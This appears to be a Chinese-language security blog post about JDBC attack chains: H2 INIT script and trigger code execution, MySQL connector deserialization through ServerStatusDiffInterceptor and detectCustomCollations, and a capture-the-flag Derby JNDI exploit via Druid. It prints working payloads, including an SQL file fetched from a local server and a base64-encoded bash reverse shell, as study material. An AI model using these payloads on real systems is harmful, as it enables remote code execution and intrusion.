H2 INIT执行Java方法#

H2数据库在连接之后在初始化步骤可以执行脚本，指定

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('firefox')

保存为sql文件，在目录下开启httpserver，再指定jdbc时可以指定初始命令为我们做好的恶意文件

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/evil.sql'

运行firefox即可弹出，本质上就是可以运行自定义Java方法

通过JavaScript运行java方法#

将连接H2数据库之后的INIT操作绑定了JS，通过java的触发器触发，因为h2数据库的触发器允许进行java代码

public class AttackH2ByJavaScript {  
  
    public static void main(String[] args) throws Exception {  
       // 装载驱动  
       Class.forName("org.h2.Driver");  
  
       String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"gnome-calculator\")";  
       String url        = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '" + javascript + "'";  
  
       Connection conn = DriverManager.getConnection(url);  
       conn.close();  
    }  
}

通过Groovy脚本运行#

@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("gnome-calculator")
})
def x;

@ASTTest是Groovy的编译时注解，其value参数中的代码会在编译阶段执行

String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"gnome-calculator\")" + "})" + "def x";  
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

ServerStatusDiffInterceptor的方法触发#

ServerStatusDiffInterceptor 参数建立连接后执行 SHOW SESSION STATUS 并反序列化结果

利用点在于调用JDBC组件的readobject方法 在mysql-connector-java组件的ResultSetImpl文件中的getObject方法下调用了readobject

可以看到需要经过几个ifelse判断

int columnIndexMinusOne = columnIndex - 1;  
if (this.thisRow.getNull(columnIndexMinusOne)) {  
    return null;  
} else ...

第一个判断了返回数据的列数，如果为null则不进行后续操作保留系统性能，好绕 第二层是对sql返回的数据的判断，叠了层switch case，这里需要进入BIT类型，也就是二进制类型，并且需要满足isBinary()和isBlob()

之后程序将得到的二进制数据存进数组data，判断jdbcurl的autoDeserialize的布尔值，为true则继续进入下一个if

if (data[0] != -84 || data[1] != -19) {  
    return this.getString(columnIndex);  
}

这个if通过魔数判断了二进制数据是否为序列化数据，之后就直接对其进行readobject了🎉

那么谁调用了这个getobject呢？

resultSetToMap掉了， 它又被ServerStatusDiffInterceptor类的populateMapWithSessionStatusValues调用，之后被preProcess调用，这条链子用到了ServerStatusDiffInterceptor类的方法，主要涉及到的查询语句是SHOW SESSION STATUS

populateMapWithSessionStatusValues:86, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:103, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1124, NativeProtocol (com.mysql.cj.protocol.a)
.....

这条链子的一些payload，直接搬了

这里的版本指的是连接组件的版本

detectCustomCollations触发#

detectCustomCollations 参数建立连接后执行 SHOW COLLATION 并反序列化结果

与上者的区别在于用到了不同的链子去调用ResultSetUtil类的resultSetToMap方法

我这里全局搜索resultSetToMap只能找见resultSetToMap的定义，找不到被调用的地方，怎么搜索都找不到，有点不解了

每个版本都有点不同，这里记录6.0.2的，在buildCollationMapping这个方法下存在对resultSetToMap方法的调用，之后的链子不变，也是调用getobject然后调用readobject

payload

N1CTF 2024 Derby(JNDI)复现（思路复现😢）#

翻着去年boogipop师傅的N1CTFwp，才发现Derby还有一个JNDI注入方法，这次来复现一下： 源码在官方的wp中已给出，IDEA开个springboot项目然后把路径逻辑和依赖添加一下就好

<dependencies>  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-web</artifactId>  
    </dependency>  
  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-tomcat</artifactId>  
        <scope>provided</scope>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-test</artifactId>  
        <scope>test</scope>  
    </dependency>  
  
    <dependency>  
        <groupId>com.alibaba</groupId>  
        <artifactId>druid</artifactId>  
        <version>1.2.21</version>  
    </dependency>  
    <dependency>  
        <groupId>org.apache.derby</groupId>  
        <artifactId>derby</artifactId>  
        <version>10.14.2.0</version>  
    </dependency>  
</dependencies>

package com.orxiain.n1ctf2023;  
  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.RestController;  
  
import javax.naming.Context;  
import javax.naming.InitialContext;  
  
@RestController  
public class IndexController {  
    @RequestMapping("/")  
    public String index() {  
        return "hello derby";  
    }  
  
    @RequestMapping("/lookup")  
    public String lookup(@RequestParam String url) throws Exception {  
        Context ctx = new InitialContext();  
        ctx.lookup(url);  
        return "ok";  
    }  
}

我们先来看看lookup路由，它给了个JNDI入口点，那么正常思路是通过JNDI注入打反序列化链子，但因为JDK高版本，模块的强封装性限制了模块之间的访问，很难利用其他组件

这里是借助了Druid的DruidDataSourceFactory#getObjectInstance，将JNDI转化为了JDBC去打 它调用了createDataSourceInternal

protected DataSource createDataSourceInternal(Properties properties) throws Exception {  
    DruidDataSource dataSource = new DruidDataSource();  
    config(dataSource, properties);  
    return dataSource;  
}

在最后调用了dataSource的init

在init方法中的后半部分，createPhysicalConnection()方法调用了JDBC链接

在后面进行了链接

之后得想办法RCE，在DruidDataSourceFactory中有和H2类似的initSql语句功能 在DruidAbstractDataSource中找见了相关属性

回去在config函数可以找见

那么我们可以执行任意的SQL语句了，而derby数据库RCE过程如下，可以导入jar，并执行其中的静态方法

## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)
 
## 将这个类加入到derby.database.classpath，这个属性是动态的，不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
 
## 创建一个PROCEDURE，EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
 
## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

构造命令执行类

import java.io.IOException;  
  
public class shell {  
   public static void exec() throws IOException {  
       Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTU1NTUgPCYx}|{base64,-d}|{bash,-i}");  
   }  
}

编译为jar

javac src/shell.java
jar -cvf shell.jar -C src/ .

现在写ldap服务器，将工厂类设置为DruidDataSourceFactory，并设置其中的一些属性值，主要是jdbc链接和初始化SQL方法等 … 按理来说是没有问题的，但因为没附件，大概在一些点上不能做到环境完美搭建，所以我怎么照着payload字符级别复刻都没出来。。。 不过搞一次学到的还是挺多的，之后汇总做做最近的java题😢